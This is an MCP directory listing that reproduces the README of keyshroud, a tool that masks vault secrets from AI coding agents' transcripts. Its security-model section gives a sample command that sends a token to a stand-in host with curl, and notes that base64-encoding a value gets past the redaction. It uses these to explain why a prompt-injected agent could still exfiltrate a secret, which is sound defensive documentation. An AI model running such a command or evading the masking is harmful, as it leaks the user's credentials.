Power your agent
คำสั่งของผู้เผยแพร่เอง ไม่ใช่เอนด์พอยต์ของ PlugMCP
Host a copy with our keys and logs.
npx -y [email protected]Claude Code ไม่มีลิงก์ติดตั้งสำหรับคำสั่งแบบโลคัล ให้คัดลอกคำสั่งด้านล่างแล้วรันในเทอร์มินัล
claude mcp add keyshroud -- npx -y keyshroud@0.10.11รันในเทอร์มินัล
{ "mcpServers": { "keyshroud": { "command": "npx", "args": [ "-y", "[email protected]" ] } }}claude_desktop_config.json
URL แบบรีโมตหรือคำสั่งบนเครื่องของคุณ? การติดตั้งสองแบบต่างกันอย่างไร
รันบน PlugMCP
A new server you create. It is not this listing's official endpoint. Use the publisher install when you want their URL and their credentials.
เปิดจากผู้เผยแพร่
Your agents use the keys. They never see them.
Keep API keys out of Claude Code, Codex, Cursor, Cline, OpenCode, Gemini CLI, pi and omp — secrets stay in your own self-hosted Vaultwarden (or Bitwarden), and every value is masked before the model reads it.
Let AI coding agents use your secrets without ever seeing them. Encrypted local vault or self-hosted Vaultwarden/Bitwarden, masked output, MCP server, Claude Code + pi plugins.
🚀 Quickstart · 🔐 Vault setup · 🔌 Supported agents · ⚙️ How it works · ❓ FAQ · 🛡️ Security model · 🌐 Website
The command got the real token. The transcript — and the model reading it — got
<redacted:GH_TOKEN>. (Masking is automatic when an agent runs the command;
--mask forces it in a human terminal.)
Coding agents need credentials to do real work: gh, npm publish, cloud CLIs,
webhooks, databases. The usual options are bad:
.env — the agent cats it while debugging, or commits itop run needs a 1Password subscription, and most "agent vaults" are hosted SaaSkeyshroud fixes this:
GH_TOKEN and bw://GitHub CLI token, never the token<redacted:GH_TOKEN>Agents with a shell use the CLI: it costs no tool schemas in the context, and
keyshroud run masks output whatever the exit code. The MCP server is for
clients that cannot run commands.
"Claude Code keeps reading my .env." Run keyshroud import to move the values into
the vault and write a .env.refs file with lines like GH_TOKEN=bw://myapp GH_TOKEN, then start
the agent with keyshroud run --env-file .env.refs -- claude. The plugin's hooks mask anything that still slips into a tool result.
"I already self-host Vaultwarden." Point bw at it, run keyshroud doctor, and you
are done — keyshroud adds no server of its own.
"I like op run but don't want 1Password." keyshroud run is the same idea —
references in, masked output out — on a vault you host.
"My agent needs to add a new key." It runs keyshroud add or calls secrets_request (MCP),
and a hidden-input dialog pops up on your desktop; in pi it is /secret. You paste the value
there. It never enters the chat.
Requirements: Node.js ≥ 22.18, the Bitwarden CLI, and a vault.
0. Get a vault — pick one:
keyshroud doctor, plus backups and hardening.bw config server below (EU accounts: bw config server https://vault.bitwarden.eu).npm install -g keyshroud @bitwarden/cli
# 1. Point bw at your server and log in once
bw config server https://vault.example.com
bw login
# 2. Unlock for 30 minutes (asks for the master password, which is not stored)
keyshroud unlock
# 3. Check everything
keyshroud doctor
# 4. Store a secret — typed into a masked prompt, never echoed
keyshroud add --env GH_TOKEN --item "GitHub CLI token" --notes "gh for agents"
# 5. Use it
keyshroud run -- gh auth status
keyshroud run -- claude # start an agent with every wired secret available
keyshroud never stores the master password unless you do. When the vault is locked
and a command needs a secret, it asks: a masked prompt in a terminal, a native dialog
on the desktop (so an agent's command waits for you), and over SSH it tells you to run
keyshroud unlock. A session ends after 30 minutes (KEYSHROUD_SESSION_TTL_MS): a timer
runs bw lock, so a copied session token stops working too. On a host nobody sits at,
keyshroud unlock --unattended asks once, in a terminal only, and opens a session without an end.
To unlock without being asked, store the master password in the OS keychain
(security add-generic-password -a "$USER" -s vaultwarden-master-password -w, or
secret-tool store on Linux; after setup the entry is keyshroud-master-password; see the
vault setup guide). Any program running
as you can then read it, agents included. Windows has no keychain support.
With the steps above, an unlocked session opens your whole vault, and an agent that
runs bw as you can use it. setup gives keyshroud its own bw login on a dedicated
account instead, which holds only the secrets agents need:
keyshroud setup --email [email protected] # opens the signup page, then logs in with the
# new master password (asked, not stored);
# no `bw config server`: Bitwarden cloud
keyshroud migrate # dry run: which wired items would be copied
keyshroud migrate --yes # copy them; references keep working
~/.config/keyshroud/bw (BITWARDENCLI_APPDATA_DIR). Your own bw
login is untouched. Its master password is not stored: keyshroud asks for it when a session
ends and keeps only a scrypt hash, so add can refuse it as a secret.migrate copies the items that wired names (and any --env-file / --item) reference, with
the same names, then locks your personal vault again. Originals stay where they are. It asks
for your personal master password in a terminal (or reads the keychain entry vaultwarden-master-password).setup too. Without a terminal it opens the signup page, where you pick the
agent account's master password yourself (save it in your password manager); then the agent
runs setup --registered, which asks for it in a dialog. The password never passes through
anything the agent can read. --confirm-unlock and --unattended need a terminal.--confirm-unlock (macOS) stores the master password in the keychain entry
keyshroud-master-password so that macOS asks you before every read, i.e. every unlock.--unattended (hosts nobody sits at, e.g. over ssh -t) logs in with a session without an
end. Unlock it again with keyshroud unlock --unattended.SIGNUPS_ALLOWED=false: invite the address from the admin page
(/admin), or allow signups for a minute, then pass --registered once the account exists. ┌──────────────────── your machine ────────────────────┐
Vaultwarden ◄─bw─► │ keyshroud ── resolves bw:// refs (1 batched call) ──► child process env
(self-hosted) │ │ │ │ stdout/stderr
│ └── redactor ◄────────────────────────────────────┘◄─────┘
│ │ <redacted:NAME> │
└──────────────┼────────────────────────────────────────────────┘
▼
agent transcript / LLM provider
GH_TOKEN → bw://GitHub CLI token.
Wiring lives in ~/.pi/agent/auth.json / ~/.omp/agent/auth.json
(shared with pi/omp) and in project .env.refs files. Both are safe to read.~/.config/keyshroud/session (0600)
and locked again after 30 minutes.bw list items snapshot held in
memory for KEYSHROUD_CACHE_TTL_MS (default 1 h).inject writes 0600 files only when you ask it to).run, MCP, pi/omp) output passes through a redactor
that knows every wired value, the vault session token, and every login
password in the vault. Out-of-process Claude Code hooks use a keyed-HMAC
fingerprint index (redact-index.json, 0600) of wired values and the
session token only, so they never hold plaintext or fingerprint your
personal passwords.Install the CLI, then the plugin (redaction hooks + skill):
npm install -g keyshroud
/plugin marketplace add dinhkarate/keyshroud
/plugin install keyshroud@keyshroud
What you get:
keyshroud unlock.<redacted:NAME> using Claude
Code's updatedToolOutput (tested with Claude Code 2.1.296).
Limit: when a command fails, Claude Code fires PostToolUseFailure, which
cannot rewrite output. The skill and session context therefore tell Claude to
run every secret-using command through keyshroud run, which masks inside
the process regardless of the exit code.Claude uses the CLI from its Bash tool, so the plugin adds no MCP server (since
0.6.1). To add one anyway: claude mcp add keyshroud -- keyshroud mcp.
The plugin calls keyshroud from PATH. If Claude Code is launched from a GUI
that doesn't see your npm/nvm bin directory, run keyshroud link-cli (links it
into ~/.local/bin) and make sure that directory is on the GUI's PATH.
To give Bash commands the secrets as env vars, start Claude through keyshroud:
keyshroud run -- claude
Use a vault item as Claude Code's own API key (apiKeyHelper):
keyshroud claude-setup --item "Anthropic API key" --ttl-ms 600000
It backs up settings.json first and refuses to replace an existing helper
without --force.
pi install npm:keyshroud
The extension:
$CUSTOM_KEY provider references work at startup;tool_result
hook (wired values, the vault session token, and every vault login password);/secret (describe → confirm name → masked paste), /vault_add,
/vault_wire, /vault_rotate, /vault_status, and the vault_add_secret /
vault_status tools./secret can ask a local OpenAI-compatible model to propose the item and
variable names. Only your description is sent — never the value:
export KEYSHROUD_PLANNER_URL=http://127.0.0.1:8080/v1/chat/completions
export KEYSHROUD_PLANNER_MODEL=qwen3-4b
Without a planner, names are derived from the description and you can edit them.
Codex, OpenCode, Gemini CLI, Cursor's agent and anything else that can run commands: install the
CLI and the skill, which teaches the agent to run secret-using commands as keyshroud run -- …
and to store new secrets with keyshroud add:
npm install -g keyshroud
npx skills add dinhkarate/keyshroud
Claude Desktop, chat-only clients, or an agent you do not allow to run commands. Any client that speaks MCP over stdio:
{ "mcpServers": { "keyshroud": { "command": "keyshroud", "args": ["mcp"] } } }
Codex, if you want MCP there too: codex mcp add keyshroud -- keyshroud mcp. Non-interactive codex exec refuses MCP calls that need approval; allow keyshroud's tools explicitly:
# ~/.codex/config.toml
[mcp_servers.keyshroud.tools.secrets_run]
approval_mode = "approve"
OpenCode: opencode mcp add keyshroud -- keyshroud mcp.
keyshroud get <ENV_NAME | bw://ref> print one value (for scripts; not for agents)
keyshroud run [--env-file F]... [--only A,B] [--no-auth] [--mask|--no-mask] -- <cmd>
keyshroud inject [-i template] [-o out] [--force]
keyshroud redact < log.txt
keyshroud scan [paths...]
keyshroud env [--shell]
keyshroud add --env NAME --item ITEM [--notes TEXT] [--target pi|omp|both] [--stdin|--dialog]
keyshroud import [--from F|-] [--out F] [--prefix P] [--only A,B] [--skip A,B] [--yes] [--replace] [--force]
keyshroud rotate --item ITEM [--stdin|--dialog]
keyshroud wire --env NAME --item ITEM [--target pi|omp|both] [--force]
keyshroud unwire --env NAME [--target pi|omp|both]
keyshroud setup --email EMAIL [--server URL] [--confirm-unlock | --unattended] [--registered]
keyshroud migrate [--item NAME]... [--env-file F]... [--yes]
keyshroud unlock [--unattended]
keyshroud status | lock | doctor
keyshroud mcp
keyshroud hook claude <session-start|post-tool-use>
keyshroud claude-setup --item ITEM [--settings PATH] [--ttl-ms N] [--force]
keyshroud api-key --item ITEM
keyshroud link-cli [--dir DIR] [--force]
run masks output whenever stdout is not a terminal (agents, CI, pipes) and
passes the TTY through untouched for interactive use. Force either way with
--mask / --no-mask. exec is an alias of run.
add and rotate read the value from a masked prompt that shows * per
character. Without a terminal (an agent's shell), they open a native hidden-input
dialog instead (osascript on macOS, zenity or kdialog on Linux, PowerShell on Windows), so the agent
can start the command and you only paste. Over SSH or without a display, pipe the
value with --stdin.
import reads a .env (default ./.env), decides which lines are secrets (by name, such as
*_TOKEN or *_KEY, or by value, such as sk-… or a URL with a password), and prints a plan of
names only. Nothing is written until you add --yes: it then creates one vault item per secret,
named <prefix> NAME (prefix defaults to the directory name), reads each value back to verify it,
and writes .env.refs with comments and non-secret lines kept. Re-running reuses items that already
hold the same value and stops on a conflicting one. --replace rewrites the source file in place
instead (atomically, no backup copy). Multiline values, ${VAR} expansion and duplicate keys are
rejected with the line number, never the value.
keyshroud import # dry run: which names would move
keyshroud import --yes # store them and write .env.refs
keyshroud run --env-file .env.refs -- npm test
Exit codes: 0 ok · 2 usage · 3 vault locked or unavailable · 4 secret
missing or item name ambiguous · 5 refusing to overwrite existing state.
run exits with the child's code.
Item lookup is case-insensitive by name or exact by id. Duplicate names fail
closed (exit 4) instead of guessing.
Do I need Vaultwarden? No. The official Bitwarden cloud works too; keyshroud talks to
whatever server bw is configured for.
Do secrets leave my machine? Only between bw and your vault server. keyshroud has no
backend and sends no telemetry; values go into the environment of the command you run.
Can the agent still use the key? Yes. The command gets the real value; only the text the model reads is masked.
Is this a sandbox? No. It stops accidental disclosure. A hostile or prompt-injected agent can still exfiltrate a value it can use — see the security model.
Why not just .gitignore my .env? That stops commits, not reads. Agents read .env
to debug, and whatever they read goes to the model provider.
Does it work on Windows? Yes, tested on Windows 10 with Node 22: bw and other npm
CLIs (.cmd shims) run without a shell, the unlock dialog is a small PowerShell window,
and sessions end after 30 minutes like elsewhere. Files in %USERPROFILE%\.config\keyshroud
are protected by your profile's ACL (you, SYSTEM, Administrators), not by 0600. One gap:
over an SSH session with a terminal (ssh -t), Windows ends the lock timer when the SSH
session closes, so that session ends on the next keyshroud call instead. There is no keychain
support on Windows: keyshroud asks for the master password, and migrate cannot run there.
bw login prints KeyIdBackfillError? bw 2026.9 and later call an endpoint that Vaultwarden
added in 1.37.4 (vaultwarden#7750). The login
is saved anyway (bw status says locked), and keyshroud setup and the API-key login carry on by
themselves. Update Vaultwarden to 1.37.4 or later to make the error go away.
keyshroud protects against accidental disclosure: secrets ending up in transcripts, provider logs, screenshots, commits, or the model's context because a command printed them.
It does not make a hostile or prompt-injected agent safe. An agent that can
run keyshroud run -- curl https://evil.example -d "$TOKEN", or base64-encode a
value before printing it, can exfiltrate it. If that is your threat model, use
an egress proxy that swaps placeholder credentials on the wire (for example
Infisical Agent Vault or OneCLI), restrict which secrets each session
gets with --only, and keep a human approving commands.
Guarantees we test for:
audit.jsonl;--stdin, or a native dialog, never flags;0600;--force;run and secrets_run never receive BW_SESSION,
BW_PASSWORD, BW_CLIENTID or BW_CLIENTSECRET, so --only really limits
what a command can read (inside pi/omp the agent process keeps the session for
legacy !bw auth entries; its value is redacted from tool output);!command value is
rejected, and so are variables that change what programs load or run (PATH,
NODE_OPTIONS, LD_*, DYLD_*, BASH_ENV, GIT_SSH_COMMAND, …), which are
also never wired or injected;auth.json is never overwritten.Known limits: a .env.refs can reference any item in your vault, not only the
ones you wired, so read a cloned repo's .env.refs before running --env-file
with it. import decides what is secret by heuristics and keeps everything else
as a literal; check its plan before committing .env.refs. The Claude Code
PostToolUse hook does not see failed commands (PostToolUseFailure cannot
rewrite output) or anything a client sends as telemetry, and it only knows wired
values, so keyshroud get bw://… or run --no-mask print in the clear; run
secret-using commands through keyshroud run or secrets_run. An agent with shell access as your user can read
~/.config/keyshroud/session and use bw directly until the session ends — after setup
that reaches only the agent account; a stored master password (keychain entry or
~/.config/keyshroud/master-password) it can read at any time, which is why keyshroud asks
instead by default; otherwise run agents in a sandbox or container if that matters. The same
agent could also draw a window that looks like the unlock dialog; when in doubt, cancel it and run
keyshroud unlock in a terminal. Without setup, keyshroud shares bw's default login, so the
30-minute lock also ends a bw session you opened yourself. Redaction is exact-match, so a partial or transformed value
(${TOKEN:0:10}, base64, a line wrapped by a tool) is not masked; values
shorter than 6 characters are not redacted (to avoid noise), so don't wire short
PINs.
Report vulnerabilities privately — see SECURITY.md.
npm install
npm run check # typecheck + tests (fake bw, no real vault) + build
node src/cli.ts doctor # run from source (Node ≥ 22.18 strips types)
See CONTRIBUTING.md. The runtime-neutral core is in
src/core.ts; agent integrations live in extensions/, src/mcp.ts and
src/hooks.ts.
Inspired by @jmcombs/pi-1password
— its popup UI and diagnostics shape are ported here (MIT). Masked output follows
1Password's op run. Not affiliated with Bitwarden, Inc. or the Vaultwarden
project; "Bitwarden" is a trademark of Bitwarden, Inc.
MIT © 2026 dinhkarate
Let AI coding agents use your secrets without ever seeing them. Encrypted local vault or self-hosted Vaultwarden/Bitwarden, masked output, MCP server, Claude Code + pi plugins.
{ "mcpServers": { "keyshroud": { "command": "npx", "args": [ "-y", "[email protected]" ] } }}เครื่องมือ
ยังไม่มีรายการเครื่องมือ เซิร์ฟเวอร์แบบรีโมตจะได้รายการหลังการตรวจสอบสถานะครั้งแรก
FAQ
คัดลอกคอนฟิก stdio สำหรับ Cursor, Claude Desktop, Claude Code หรือ VS Code ได้ในหน้านี้ คอนฟิกนี้ใช้การติดตั้งของผู้เผยแพร่ ไม่ใช่พร็อกซีของ PlugMCP
ระเบียนนี้ไม่ได้ระบุตัวแปรสภาพแวดล้อมที่จำเป็น
Keyshroud ทำงานแบบโลคัลผ่าน stdio
ตรวจสอบล่าสุดเมื่อ 2026-11-14 Let AI coding agents use your secrets without ever seeing them. Encrypted local vault or self-hosted Vaultwarden/Bitwarden, masked output, MCP server, Claude Code + pi plugins.